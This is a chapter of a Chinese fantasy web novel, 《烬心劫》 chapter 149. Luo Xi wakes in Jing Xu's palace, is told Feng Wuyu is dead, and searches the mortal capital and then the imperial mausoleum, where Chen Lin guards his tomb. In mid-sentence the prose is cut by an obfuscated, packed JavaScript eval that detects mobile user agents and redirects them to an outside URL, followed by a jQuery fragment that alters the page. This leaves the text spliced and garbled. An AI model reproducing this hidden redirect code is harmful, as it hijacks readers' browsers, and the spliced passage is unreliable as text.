149. 他已经死了
作品:《烬心劫》 玉眠不知景煦早就察觉了她的动作,悄然尾随。
他看到了她用匕首划伤了自己的手腕,也看到她将血滴入为洛兮煎熬的汤药中。
上次被天雷重伤,却在短短两日便痊愈了,其中真相竟是这样。
分明是那么胆小怕疼的姑娘,竟为了别人做到这个地步……
景煦眸色深沉如墨,又悄无声息离开了膳房门外。
昏睡中的洛兮不知今夕何夕,只知道自己做了好些个梦,梦里全是风无遇的影子,最后一个梦,她感应到风无遇站在雪中唤她的名字。
梦中的他穿了一身华贵锦袍,狐裘覆肩,玄衣曳地,黑发高束,金色发冠在暗夜灯火下熠熠生辉,将他的眉眼衬的更加清隽,只是那双素来清澈的双眸失去了她初见他时的光彩,空洞而荒芜。
他怎么了?是她那个歹毒的哥哥又去伤害他了吗?
看他的穿着,应是听她的话当上了瀚安国的皇帝,只是眉眼中的悲伤为何那样浓呢?
瞧着他这个样子,她心里也跟着难过起来,她想走过去抱抱他,可梦中的一切不由她掌控,双腿像是被无形的力量锁住了,根本无法朝他迈进,只能眼睁睁看着他孤身一人立在风雪中暗自神伤。
目光掠过他身后,她瞥见了立在马车旁边一动不动的卫严,木然如桩。她有点生气,这个卫严怎么还是一如既往的笨?
他瞧不出风无遇的样子有些不对吗?
果然,下一瞬,风无遇身形一晃,在她面前轰然倒地。
“阿遇!”
洛兮心头一紧,想伸手接住他,不料眼前一道白光闪过。
什么都消失了。
她再看不见风无遇了。
“阿遇!”她失声呼唤,猛地睁开眼睛。
入目的是有些熟悉的宫殿,盏盏烛火跳跃着暖光照亮着宽敞的大殿,殿内陈设简约雅致,鼻尖萦绕着的香有些熟悉,让她想到了一个人。
洛兮怔忡半晌,随即反应过来,这是……景煦的朝阳殿?
“小兮。”
“主人,你醒了!”
两道声音同时响起,带着难掩的关切。她侧头望去,这才发现她的床头站着两个人。
正是景煦和玉眠。
看来这里真是朝阳殿了。
洛兮匆匆下床,脚一着地,双腿顷刻发软,幸而有这两人在身旁及时撑住了她。
景煦道:“你的伤很重,莫要妄动了。”
玉眠也点了点头,“主人你有什么事只管吩咐我就行了。”
洛兮不听,只是问:“我在这里多久了?”
景煦答:“你睡了一日一夜。”
洛兮脑中轰隆一声响,像是有什么东西碎掉了,只觉自己的心口一空,整颗心直直坠入了万丈深渊,搁在景煦和玉眠手臂上的手也无力垂落下去,身子一软,重重跌坐在地上。
一日一夜……
一年了……
那风无遇……
洛兮不忍再想,只是垂眸盯着地面上的金砖,指尖攥得发白,一言不发。
景煦和玉眠瞧出她的不对劲,刚要俯身把她扶起来,却听身后传来洛阳的声音。
“想开吧,他已经死了。”
洛兮抬眼,一双杏眼霎时通红,可她没有哭,只是咬牙瞪着从屏风外缓步而来的洛阳,一字一句道:“我、不、相、信。”
洛阳顿住脚步,别过脸,淡淡道:“不信,你可以亲自下凡去看。”
洛兮还真的去凡间了,从朝阳殿到南天门的一路,出奇的顺利,九重天是天族的地盘,可这一路无一个天族人上前找她的麻烦。
但现在的她根本没心思去想背后的原因。
她虽保住了一条命,但到底还是不能动用灵力的,景煦和玉眠不放心,便默默跟在她的身后。
他们这一路,比来时还要畅通无阻,景煦听沉执说,是天帝的授意,就连围在朝阳殿外的那群天族人,也是天帝下令遣散的。
事出反常必有妖,景煦暗瞟了不远处的洛阳一眼,猜想是同上次洛阳与父帝的交易有关。
想来应是洛阳决意劝说小兮利用体内桑烬神力唤醒景渊。
若小兮答应了,天灵二族僵了两千多年的关系便能一朝破冰。
看起来是件好事,但景煦也隐隐担心,以他对洛兮的了解,她不会轻易答应的。
更何况现下她……
景煦深沉的目光落在那瘦削的背影上。
若他没有猜错,洛阳口中死了的那人,是风无遇。
不过这应也不是什么要紧的事,凡人一死,魂归幽冥,若他真死了,他们去酆都城寻他魂魄便是了。
虽说天界规定神族不得与凡人结合,但洛兮与风无遇毕竟签了婚书,只要风无遇不自愿入那轮回井,幽冥界的小鬼们还不敢得罪洛兮,逼风无遇投胎转世。
甫一踏入凡间,洛兮直奔翊王府。
朱门依旧,院内陈设与她离开时分毫不差,便是连根杂草都不见得有,显然有人时常来此打扫。
洛兮面无表情地往里面走,主院,偏院,前堂,后圃……她里里外外都找了个遍,连半个人影也没瞧见,王府俨然已是无人居住的了。
洛兮失魂落魄地往出走,整个人看起来毫无生气。
景煦不由走至她身边,宽慰道:“人间一载,朝暮变幻,他许是换了其他住处,我们去别处看看。”
闻言,洛兮难得有点反应,抬头看了看景煦,却只是木木点了点下头。
不在翊王府,应该就在皇宫了吧,他们未用法术,就这样徒步朝着皇宫走去。
长街上人来人往,市井声不绝于耳。
百姓正讨论当今的皇上,言语间满是赞誉,说当今圣上英明贤能,自他登基,不过数月便虚心纳谏,恩威并施,朝廷的沉疴积弊一扫而空,想来实现海晏河清的盛世指日可待了。
只是谈起风如璋,百姓便不由想到那个英年早逝,却又充满争议的先皇风无遇。
听说当今圣上是先皇风无遇亲定的,足见这位短命天子的眼光卓绝。
一年前风无遇举兵篡位,杀伐狠绝,百姓当时还暗道苦日子要来了,但没想到风无遇登基后,虽在位仅三个月,但颁发的利民新政是让老百姓切切实实受了利的。
正因如此,风无遇这个皇帝的风评在民间也渐渐好了起来,尤其是在新君风如璋继位后,百姓不由会将当前的生活同风南瑾在位时做比,比对过后发觉风南瑾当他们的君王时,也不过尔尔。
越发觉得风无遇当初篡位应是被逼无奈,不得已而为之。
长街上的唏嘘声此起彼伏,句句惋惜传闻中俊美无俦,却又天妒薄命的先皇风无遇。
只是这些话落在洛兮耳中,字字句句宛如一把利刃剜在她的心上。
她本来走得也不快,现下听了那些证明风无遇死了的话,更加让她脚下如灌铅一般,再也无力朝前走一步了。
人潮如织,车马喧嚣,长街上一派繁华之景,独她站在那里,眼神空洞望着前方,却不知该落在何处。
瞧着她这样,景煦忍不住上前道:“小兮,他们的话不必放在心上,找到他才是正事。”
他本想劝她直接去幽冥界去找,但转念想,他都能想到这一层,她未必不会想到,固执留在人间寻人,无非是心底里不愿相信那个人已经死了。
“是啊是啊!”玉眠也附和道:“活要见人,死要见尸嘛……”
说到尸这个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17051038|171852||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
字时,玉眠的声音越发弱。
“死要见尸?”洛兮喃喃重复着这四个字,自顾自道:“也对,是要见到尸身才行……”
既然风无遇已当上了皇帝,那他的尸身,便应在皇陵中了。
于是洛兮又去了皇陵,只是刚踏进那地,守陵军便将几人围住了。
“何人胆敢擅闯皇陵!”一道熟悉的呵斥声自守陵军身后而出。
守陵军侧身为来人让开一条路,洛兮抬眸看去,竟是陈林。
风无遇死后,陈林请旨为其守陵三年。
见洛兮出现在皇陵中的那一刹那,陈林简直不敢相信自己的眼睛,既觉恍惚又觉惊愕。
犹记一年前洛兮一人被困在国师府中,他们后面攻破国师府,却只听人说她被上官燕带走的消息,可按上官燕指引之地去寻人时,又一无所获。
人人都道翊王妃死了,独风无遇和卫严不信,一直在寻人,直到龙驭上宾,他们才断了对洛兮的寻找。
谁能想到消失了整整一年的人,就这样出现了。
陈林心头掠过一丝荒诞,几乎以为这位翊王妃是故意闹失踪的。
当初因为萧慕,陈林对洛兮和风无遇多有误会,他当风无遇是心机深沉,自私自利的皇子,他当洛兮是凭借美色搅乱朝堂的红颜祸水。
但自他与风无遇冰释误会,归顺风无遇,也亲眼见到了二人之间的感情,不似萧慕所言虚假,反倒是情深意浓。
念及此前反省,不该凭人三言两语便在心中轻断他人品性,自此陈林便也对洛兮端着该有的敬重。
可此刻,望着活生生的翊王妃,陈林心绪又难免复杂起来。
先皇找了她那么久,望穿秋水,她既还活着,何不早早出来相见?
若她早点现身,先皇又怎会抱憾而终?
她若真死了,陈林只能叹一声造化弄人,叹两人是对苦命鸳鸯。可她没死,陈林内心不由升起一丝埋怨。
可再埋怨又能如何,人都已经死了,他们两个站在风无遇的陵寝前,若他表现出对她的任何不满,陵寝中睡着的那位只怕会不高兴了。
但不能表达不满,陈林属实不知能与洛兮说什么,只是哑着喉咙道了一声:“……娘娘。”
风无遇称帝,并未封下落不明的翊王妃为皇后,陈林实在不知如何称呼这位已故君王为皇子时的妻子。
索性礼貌唤一声娘娘,总归没有错。
洛兮没理会陈林脸上复杂变幻的神色,只是道:“他在哪儿?”
陈林知道她口中的他是谁,没再多言,转身向身后某个位置指了指,刚欲提醒她,皇陵地宫石门已闭,但话还未来得及说出去,就见洛兮身后一男一女一左一右上前攥住她的手腕,不过瞬息之间,三个大活人齐齐消失在众人面前。
“将军!”
这突然消失的人影惊得人人色变,只觉后背发凉,众人面面相觑,一脸惶恐看着陈林。
陈林也良久没反应过来,突然想起一件事,包围国师府的那日,被抓的人都说翊王妃是个妖怪。
妖怪么?
陈林嘴角微扯,轻笑一声。
人死万事空,是神是妖又能如何呢?
“都散了吧!”陈林摆手,声音充满了疲惫。
手下的人重回自己的岗位,陈林则是转头望向风无遇的陵寝方向,又是无奈发出一声长叹。
明明同风无遇相识仅仅数月,明明风无遇和萧慕离世也仅仅是一年的光景,陈林却觉这一生已过去大半。
朋友死了,要誓死追随的君王也死了,就连时常同他斗嘴的卫严也不在了……
世事无常,或许人生长短不凭年月衡量,有时一生尽时只在瞬息间,一生之意义只在此刻。

